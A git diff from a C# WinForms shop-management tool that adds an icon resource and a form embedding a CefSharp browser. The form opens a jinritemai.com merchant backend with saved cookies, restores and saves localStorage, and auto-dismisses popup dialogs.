+MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/ShopForms/ShopBrower.Designer.cs b/29WxOrder/ShopForms/ShopBrower.Designer.cs new file mode 100644 index 0000000..8a4f174 --- /dev/null +++ b/29WxOrder/ShopForms/ShopBrower.Designer.cs @@ -0,0 +1,75 @@ + +namespace _29WxOrder.ShopForms +{ + partial class ShopBrower + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ShopBrower)); + this.panel1 = new System.Windows.Forms.Panel(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(1248, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Location = new System.Drawing.Point(3, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(1274, 685); + this.panel1.TabIndex = 3; + this.panel1.Paint += new System.Windows.Forms.PaintEventHandler(this.panel1_Paint); + // + // ShopBrower + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1280, 720); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.IsShowMax = true; + this.Name = "ShopBrower"; + this.Text = "ShopBrower"; + this.TitleText = "ShopBrower"; + this.Load += new System.EventHandler(this.ShopBrower_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + } +} \ No newline at end of file diff --git a/29WxOrder/ShopForms/ShopBrower.cs b/29WxOrder/ShopForms/ShopBrower.cs new file mode 100644 index 0000000..03c2655 --- /dev/null +++ b/29WxOrder/ShopForms/ShopBrower.cs @@ -0,0 +1,260 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using _29WxOrder.ToolForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util; +using NaiBa.Util.Helper; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.ShopForms +{ + public partial class ShopBrower : BaseForm + { + public ShopBrower() + { + InitializeComponent(); + } + public ChromiumWebBrowser cefWebBrowser = null; + public string webUrl = ""; + public string cookies = ""; + public DouShopLoginInfo shop; + private void ShopBrower_Load(object sender, EventArgs e) + { + this.TitleText = this.TitleText = this.Text = "后台"; + if (string.IsNullOrEmpty(this.cookies)) + this.cookies = (shop?.Cookies == null) ? "" : shop.Cookies; + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(webUrl, false); + + CustomResourceRequestHandler resourceRequestHandler = new CustomResourceRequestHandler(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + + Helper.LifeSpanHandlerLocal lifeSpanHandler = new Helper.LifeSpanHandlerLocal(Helper.PopWindowType.NewTitleWindow); + lifeSpanHandler.parent = cefWebBrowser; + lifeSpanHandler.OnPop += LifeSpanHandler_OnPop; + cefWebBrowser.LifeSpanHandler = lifeSpanHandler; + + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + + this.panel1.Controls.Add(cefWebBrowser); + if (!string.IsNullOrEmpty(this.cookies)) + { + var t = CEFBrowser.SetCookieAsync("jinritemai.com", this.cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + } + cefWebBrowser.SendToBack(); + } + else + { + CEFBrowser.DeleteCookie(cefWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync("jinritemai.com", this.cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + cefWebBrowser.Load(webUrl); + } + + Task.Run(() => + { + while (cefWebBrowser == null || !cefWebBrowser.IsBrowserInitialized) + { + Thread.Sleep(1); + } + string jsCode = ""; + if (GlobalConfig.dicLocalStorage != null) + { + Thread.Sleep(500); + //foreach (var key in GlobalConfig.dicLocalStorage.Keys) + //{ + // if (GlobalConfig.dicLocalStorage[key] is string) + // { + // jsCode += "window.localStorage.setItem('" + key + "', '" + GlobalConfig.dicLocalStorage[key] + "');\r\n"; + // } + //} + jsCode = "function setStorage() {"; + foreach (var item in GlobalConfig.dicLocalStorage) + { + if (item.Key == "$TCC_CONFIG" || item.Key == "$TCC_CONFIG_operate_config" || item.Key == "menuStyleStr") + continue; + + jsCode += "window.localStorage.setItem('" + item.Key + "', '" + item.Value + "');\r\n"; + //jsCode += "window.localStorage.setItem('" + item.Key + "', '" + item.Value.ToString().Replace("\"", "\\\"") + "');\r\n"; + } + jsCode += "}"; + jsCode += "setStorage();"; + cefWebBrowser.GetBrowser().MainFrame.ExecuteJavaScriptAsync(jsCode); + } + + DateTime openWindowTime = DateTime.Now; + var sleepTime = 2500; + while (true) + { + try + { + Thread.Sleep(sleepTime); + + // 时长超过一定时间后,不再自动关闭所有弹框 + if (openWindowTime.AddSeconds(30) < DateTime.Now) + break; + + var jsStr1 = + "function ClosePopWindow(txt) {\r\n" + + " var result = 'no_pop'\r\n" + + " var item = document.getElementsByClassName(txt);\r\n" + + " if (document.body.innerHTML.indexOf('重要消息') < 0) return result;\r\n" + + " for(i = 0; i < item.length; i++) {\r\n" + + " item[i].click();\r\n" + + " result = 'success'\r\n" + + " }\r\n" + + " return result;\r\n" + + "}\r\n"; + jsStr1 += "ClosePopWindow('anticon-close-circle');\r\n" + + "ClosePopWindow('ant-modal-close-x');\r\n"; + var jsStr2 = "function clickPopWindow(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_pop';\r\n" + + "}\r\n"; + jsStr2 += "clickPopWindow('我知道了');\r\n" + + "clickPopWindow('知道了');\r\n" + + "clickPopWindow('退出引导');\r\n" + + "clickPopWindow('完成');\r\n" + + "clickPopWindow('下一步');\r\n"; + if (cefWebBrowser.IsBrowserInitialized) + { + var t1 = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr1); + t1.Wait(); + var t2 = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr2); + t2.Wait(); + if (t1.Result?.Result?.ToString() == "success" || t2.Result?.Result?.ToString() == "success") + { + sleepTime = Randomx.GetId(550, 650); + } + else + sleepTime = Randomx.GetId(1500, 2000); + } + } + catch (Exception ex) { } + } + }); + + Task.Run(() => + { + while (true) + { + Thread.Sleep(10000); + if (this.Created) + GetLocalStorage(); + } + }); + } + + private void LifeSpanHandler_OnPop(object sender, Helper.PopData e) + { + var targetUrl = e.Url; + var lifeHandler = sender as Helper.LifeSpanHandlerLocal; + + Task.Run(() => + { + if (lifeHandler.parent != null) + { + var _cookies = CEFBrowser.GetCookieList("", lifeHandler.parent.RequestContext.GetCookieManager(null)); + var cookieStr = ""; + foreach (var cookie in _cookies) + { + cookieStr += cookie.Name + "=" + cookie.Value + ";"; + } + Invoke(new Action(() => + { + ShopBrower shopBrower = new ShopBrower(); + shopBrower.webUrl = targetUrl; + shopBrower.cookies = cookieStr; + shopBrower.Show(); + })); + } + }); + } + + void GetLocalStorage() + { + var jsCode = "window.localStorage;"; + + //jsCode = "function getLocalStorage() {" + + // " var str = '';" + + // " var loStorage = window.localStorage;" + + // " for (i = 0; i < loStorage.length; i++) {" + + // " var key = loStorage.key(i);" + + // " str += key + '=' + loStorage[key] + ';';" + + // " }"+ + // " return str;" + + // "}" + + // "getLocalStorage();"; + + var task = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + task.Wait(5000); + var result = task.Result.Result; + var dic = result as System.Dynamic.ExpandoObject; + GlobalConfig.dicLocalStorage = dic; + + if (GlobalConfig.dicLocalStorage != null) + ConfigHelper.SaveConfig("dou_local_Storage", GlobalConfig.dicLocalStorage); + } + + private void CefWebBrowser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + //class="y-guide" + try + { + //string script = " var cb = document.getElementsByClassName('ant-btn ant-btn-primary');for (var i = 0; i + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + 